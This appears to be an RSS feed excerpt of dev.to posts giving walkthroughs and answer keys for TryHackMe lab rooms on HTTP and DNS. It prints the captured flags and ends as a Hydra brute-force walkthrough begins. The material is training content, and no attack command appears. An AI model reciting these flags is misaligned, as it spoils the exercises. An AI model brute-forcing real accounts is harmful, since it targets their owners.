&lt;h4&gt;
  
  
  Example Request:
&lt;/h4&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;

&lt;/span&gt;&lt;span class="nf"&gt;GET&lt;/span&gt; &lt;span class="nn"&gt;/&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;tryhackme.com&lt;/span&gt;
&lt;span class="na"&gt;User-Agent&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Mozilla/5.0 Firefox/87.0&lt;/span&gt;
&lt;span class="na"&gt;Referer&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;https://tryhackme.com/&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h4&gt;
  
  
  Example Response:
&lt;/h4&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;

&lt;/span&gt;&lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt; &lt;span class="m"&gt;200&lt;/span&gt; &lt;span class="ne"&gt;OK&lt;/span&gt;
&lt;span class="na"&gt;Server&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;nginx/1.15.8&lt;/span&gt;
&lt;span class="na"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Fri, 09 Apr 2021 13:34:03 GMT&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;text/html&lt;/span&gt;
&lt;span class="na"&gt;Content-Length&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;98&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;TryHackMe&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
    Welcome To TryHackMe.com
&lt;span class="nt"&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h3&gt;
  
  
  What HTTP protocol is being used in the above example?
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;HTTP/1.1&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  What response header tells the browser how much data to expect?
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;Content-Length&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  HTTP Methods
&lt;/h2&gt;
&lt;h3&gt;
  
  
  What method would be used to create a new user account?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;According to the information provided in the question:&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;h4&gt;
  
  
  &lt;code&gt;POST&lt;/code&gt; Request
&lt;/h4&gt;

&lt;p&gt;This is used for submitting data to the web server and potentially creating new records.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;POST&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  What method would be used to update your email address?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;According to the information provided in the question:&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;h4&gt;
  
  
  &lt;code&gt;PUT&lt;/code&gt; Request
&lt;/h4&gt;

&lt;p&gt;This is used for submitting data to a web server to update information.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;PUT&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  What method would be used to remove a picture you've uploaded to your account?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;According to the information provided in the question:&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;h4&gt;
  
  
  &lt;code&gt;DELETE&lt;/code&gt; Request
&lt;/h4&gt;

&lt;p&gt;This is used for deleting information/records from a web server.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;DELETE&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  What method would be used to view a news article?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;According to the information provided in the question:&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;h4&gt;
  
  
  &lt;code&gt;GET&lt;/code&gt; Request
&lt;/h4&gt;

&lt;p&gt;This is used for getting information from a web server.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;GET&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  HTTP Status Codes
&lt;/h2&gt;
&lt;h3&gt;
  
  
  What response code might you receive if you've created a new user or blog post article?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;According to the information provided in the question:&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;201 - Created&lt;/th&gt;
&lt;th&gt;A resource has been created (for example a new user or new blog post).&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;201&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  What response code might you receive if you've tried to access a page that doesn't exist?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;According to the information provided in the question:&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;404 - Page Not Found&lt;/th&gt;
&lt;th&gt;The page/resource you requested does not exist.&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;404&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  What response code might you receive if the web server cannot access its database and the application crashes?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;According to the information provided in the question:&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;503 - Service Unavailable&lt;/th&gt;
&lt;th&gt;This server cannot handle your request as it's either overloaded or down for maintenance.&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;503&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  What response code might you receive if you try to edit your profile without logging in first?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;According to the information provided in the question:&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;401 - Not Authorised&lt;/th&gt;
&lt;th&gt;You are not currently allowed to view this resource until you have authorised with the web application, most commonly with a username and password.&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;401&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Headers
&lt;/h2&gt;
&lt;h3&gt;
  
  
  What header tells the web server what browser is being used?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;According to the information provided in the question:&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;User-Agent&lt;/code&gt;&lt;/strong&gt;: This is your browser software and version number, telling the web server your browser software helps it format the website properly for your browser and also some elements of HTML, JavaScript and CSS are only available in certain browsers.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;User-Agent&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  What header tells the browser what type of data is being returned?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;According to the information provided in the question:&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;Content-Type&lt;/code&gt;&lt;/strong&gt;: This tells the client what type of data is being returned, i.e., HTML, CSS, JavaScript, Images, PDF, Video, etc. Using the &lt;code&gt;Content-Type&lt;/code&gt; header the browser then knows how to process the data.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;Content-Type&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  What header tells the web server which website is being requested?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;According to the information provided in the question:&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;Host&lt;/code&gt;&lt;/strong&gt;: Some web servers host multiple websites so by providing the &lt;code&gt;Host&lt;/code&gt; headers you can tell it which one you require, otherwise you'll just receive the default website for the server.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;Host&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Cookies
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Which header is used to save cookies to your computer?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;According to the information provided in the question:&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;Cookies are saved when you receive a &lt;code&gt;Set-Cookie&lt;/code&gt; header from a web server.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;Set-Cookie&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Making Requests
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Make a &lt;code&gt;GET&lt;/code&gt; request to &lt;code&gt;/room&lt;/code&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Request:
```http
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;GET /room HTTP/1.1&lt;br&gt;
Host: tryhackme.com&lt;br&gt;
User-Agent: Mozilla/5.0 Firefox/87.0&lt;/p&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;* Response:
```http


HTTP/1.1 200 Ok
Server: nginx/1.15.8
Fri, 14 May 2021 18:35:9 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 233
Last-Modified: Fri, 14 May 2021 18:35:9 GMT

&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;title&amp;gt;TryHackMe&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    Welcome to the Room page THM{YOU'RE_IN_THE_ROOM}
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Flag&lt;/strong&gt;: &lt;code&gt;THM{YOU'RE_IN_THE_ROOM}&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Make a &lt;code&gt;GET&lt;/code&gt; request to &lt;code&gt;/blog&lt;/code&gt; and using the gear icon set the &lt;code&gt;id&lt;/code&gt; parameter to &lt;code&gt;1&lt;/code&gt; in the URL field
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Request:
```http
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;GET /blog?id=1 HTTP/1.1&lt;br&gt;
Host: tryhackme.com&lt;br&gt;
User-Agent: Mozilla/5.0 Firefox/87.0&lt;/p&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;* Response:
```http


HTTP/1.1 200 Ok
Server: nginx/1.15.8
Fri, 14 May 2021 18:36:42 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 231
Last-Modified: Fri, 14 May 2021 18:36:42 GMT

&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;title&amp;gt;TryHackMe&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    Viewing Blog article 1 THM{YOU_FOUND_THE_BLOG}
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Flag&lt;/strong&gt;: &lt;code&gt;THM{YOU_FOUND_THE_BLOG}&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Make a &lt;code&gt;DELETE&lt;/code&gt; request to &lt;code&gt;/user/1&lt;/code&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Request:
```http
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;DELETE /user/1 HTTP/1.1&lt;br&gt;
Host: tryhackme.com&lt;br&gt;
User-Agent: Mozilla/5.0 Firefox/87.0&lt;br&gt;
Content-Length: 0&lt;/p&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;* Response:
```http


HTTP/1.1 200 Ok
Server: nginx/1.15.8
Fri, 14 May 2021 18:38:32 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 231
Last-Modified: Fri, 14 May 2021 18:38:32 GMT

&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;title&amp;gt;TryHackMe&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    The user has been deleted THM{USER_IS_DELETED}
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Flag&lt;/strong&gt;: &lt;code&gt;THM{USER_IS_DELETED}&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Make a &lt;code&gt;PUT&lt;/code&gt; request to &lt;code&gt;/user/2&lt;/code&gt; with the &lt;code&gt;username&lt;/code&gt; parameter set to &lt;code&gt;admin&lt;/code&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Request:
```http
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;PUT /user/2 HTTP/1.1&lt;br&gt;
Host: tryhackme.com&lt;br&gt;
User-Agent: Mozilla/5.0 Firefox/87.0&lt;br&gt;
Content-Length: 14&lt;/p&gt;

&lt;p&gt;username=admin&lt;/p&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;* Response:
```http


HTTP/1.1 200 Ok
Server: nginx/1.15.8
Fri, 14 May 2021 18:40:30 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 232
Last-Modified: Fri, 14 May 2021 18:40:30 GMT

&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;title&amp;gt;TryHackMe&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    Username changed to admin THM{USER_HAS_UPDATED}
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Flag&lt;/strong&gt;: &lt;code&gt;THM{USER_HAS_UPDATED}&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;POST&lt;/code&gt; the &lt;code&gt;username&lt;/code&gt; of &lt;code&gt;thm&lt;/code&gt; and a &lt;code&gt;password&lt;/code&gt; of &lt;code&gt;letmein&lt;/code&gt; to &lt;code&gt;/login&lt;/code&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Request:
```http
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;POST /login HTTP/1.1&lt;br&gt;
Host: tryhackme.com&lt;br&gt;
User-Agent: Mozilla/5.0 Firefox/87.0&lt;br&gt;
Content-Length: 33&lt;/p&gt;

&lt;p&gt;username=thm&amp;amp;password=letmein&lt;/p&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;* Response:
```http


HTTP/1.1 200 Ok
Server: nginx/1.15.8
Fri, 14 May 2021 18:42:50 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 237
Last-Modified: Fri, 14 May 2021 18:42:50 GMT

&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;title&amp;gt;TryHackMe&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    You logged in! Welcome Back THM{HTTP_REQUEST_MASTER}
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Flag&lt;/strong&gt;: &lt;code&gt;THM{HTTP_REQUEST_MASTER}&lt;/code&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>TryHackMe DNS in Detail</title>
      <dc:creator>Omri Bornstein</dc:creator>
      <pubDate>Sat, 05 Jun 2021 05:50:28 +0000</pubDate>
      <link>https://dev.to/applegamer22/tryhackme-dns-in-detail-3b2n</link>
      <guid>https://dev.to/applegamer22/tryhackme-dns-in-detail-3b2n</guid>
      <description>&lt;h1&gt;
  
  
  TryHackMe &lt;a href="https://www.tryhackme.com/room/dnsindetail"&gt;DNS in Detail&lt;/a&gt;
&lt;/h1&gt;

&lt;h3&gt;
  
  
  References
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Try Hack Me. (2021). DNS in Detail - How the web works [YouTube Video]. In YouTube. &lt;a href="https://youtu.be/jpTY1S5vs9k"&gt;https://youtu.be/jpTY1S5vs9k&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What is DNS?
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What does DNS Stand for?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;According to the information provided in the question:&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;DNS (Domain Name System) provides a simple way for us to communicate with devices on the internet without remembering complex numbers.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;Domain Name System&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Domain Hierarchy
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What is the maximum length of a subdomain?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;According to the information provided in the question:&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;A subdomain name has the same creation restrictions as a Second-Level Domain, being limited to 63 characters and can only use a-z 0-9 and hyphens (cannot start or end with hyphens or have consecutive hyphens).&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;63&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Which of the following characters cannot be used in a subdomain: &lt;code&gt;3&lt;/code&gt;, &lt;code&gt;b&lt;/code&gt;, &lt;code&gt;_&lt;/code&gt; or &lt;code&gt;-&lt;/code&gt;?
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;_&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  What is the maximum length of a domain name?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;According to the information provided in the question:&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;You can use multiple subdomains split with periods to create longer names, such as &lt;code&gt;jupiter.servers.tryhackme.com&lt;/code&gt;. But the maximum length must be kept below 253 characters.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;253&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  What type of TLD is &lt;code&gt;.co.uk&lt;/code&gt;?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;According to the information provided in the question:&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;There are two types of TLD, gTLD (Generic Top Level) and ccTLD (Country Code Top Level Domain).&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;ccTLD&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Record Types
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What type of record would be used to advise where to send email?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;According to the information provided in the question:&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;h4&gt;
  
  
  MX Record
&lt;/h4&gt;

&lt;p&gt;These records resolve to the address of the servers that handle the email for the domain you are querying...&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;MX&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  What type of record handles IPv6 addresses?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;According to the information provided in the question:&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;h4&gt;
  
  
  AAAA Record
&lt;/h4&gt;

&lt;p&gt;These records resolve to IPv6 addresses, for example 2606:4700:20::681a:be5&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;AAAA&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Making A Request
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What field specifies how long a DNS record should be cached for?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;According to the information provided in the question:&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;DNS records all come with a TTL (Time To Live) value. This value is a number represented in seconds that the response should be saved for locally until you have to look it up again.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;TTL&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  What type of DNS Server is usually provided by your ISP?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;According to the information provided in the question:&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;A Recursive DNS Server is usually provided by your ISP, but you can also choose your own.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;recursive&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  What type of server holds all the records for a domain?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;According to the information provided in the question:&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;An authoritative DNS server is the server that is responsible for storing the DNS records for a particular domain name and where any updates to your domain name DNS records would be made.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;authoritative&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Practical
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What is the CNAME of &lt;code&gt;shop.website.thm&lt;/code&gt;?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Using the interactive terminal provided:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;user@thm:~&lt;span class="nv"&gt;$ &lt;/span&gt;nslookup &lt;span class="nt"&gt;--type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;CNAME shop.website.thm
Server: 127.0.0.53
Address: 127.0.0.53#53

Non-authoritative answer:
shop.website.thm canonical name &lt;span class="o"&gt;=&lt;/span&gt; shops.myshopify.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;shops.myshopify.com&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  What is the value of the TXT record of website.thm?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Using the interactive terminal provided:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;user@thm:~&lt;span class="nv"&gt;$ &lt;/span&gt;nslookup &lt;span class="nt"&gt;--type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;TXT website.thm
Server: 127.0.0.53
Address: 127.0.0.53#53

Non-authoritative answer:
website.thm text &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"THM{7012BBA60997F35A9516C2E16D2944FF}"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;THM{7012BBA60997F35A9516C2E16D2944FF}&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  What is the numerical priority value for the MX record?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Using the interactive terminal provided:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;user@thm:~&lt;span class="nv"&gt;$ &lt;/span&gt;nslookup &lt;span class="nt"&gt;--type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;MX website.thm
Server: 127.0.0.53
Address: 127.0.0.53#53

Non-authoritative answer:
website.thm mail exchanger &lt;span class="o"&gt;=&lt;/span&gt; 30 alt4.aspmx.l.google.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;30&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  What is the IP address for the A record of &lt;code&gt;www.website.thm&lt;/code&gt;?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Using the interactive terminal provided:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;user@thm:~&lt;span class="nv"&gt;$ &lt;/span&gt;nslookup &lt;span class="nt"&gt;--type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;A website.thm
Server: 127.0.0.53
Address: 127.0.0.53#53

Non-authoritative answer:
Name: website.thm
Address: 10.10.10.10
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;10.10.10.10&lt;/code&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>security</category>
    </item>
    <item>
      <title>TryHackMe Hydra</title>
      <dc:creator>Omri Bornstein</dc:creator>
      <pubDate>Sat, 29 May 2021 06:05:55 +0000</pubDate>
      <link>https://dev.to/applegamer22/tryhackme-hydra-42j3</link>
      <guid>https://dev.to/applegamer22/tryhackme-hydra-42j3</guid>
      <description>&lt;h1&gt;
  
  
  TryHackMe &lt;a href="https://www.tryhackme.com/room/hydra"&gt;Hydra&lt;/a&gt;
&lt;/h1&gt;

&lt;h3&gt;
  
  
  References
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;DarkSec. (2020). TryHackMe Hydra Official Walkthrough [YouTube Video]. In YouTube. &lt;a href="https://youtu.be/8fs_7bm88GY"&gt;https://youtu.be/8fs_7bm88GY&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Use Hydra to brute force Molly's web password. What is flag 1?
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Brute force Molly's password with &lt;code&gt;hydra&lt;/code&gt;:
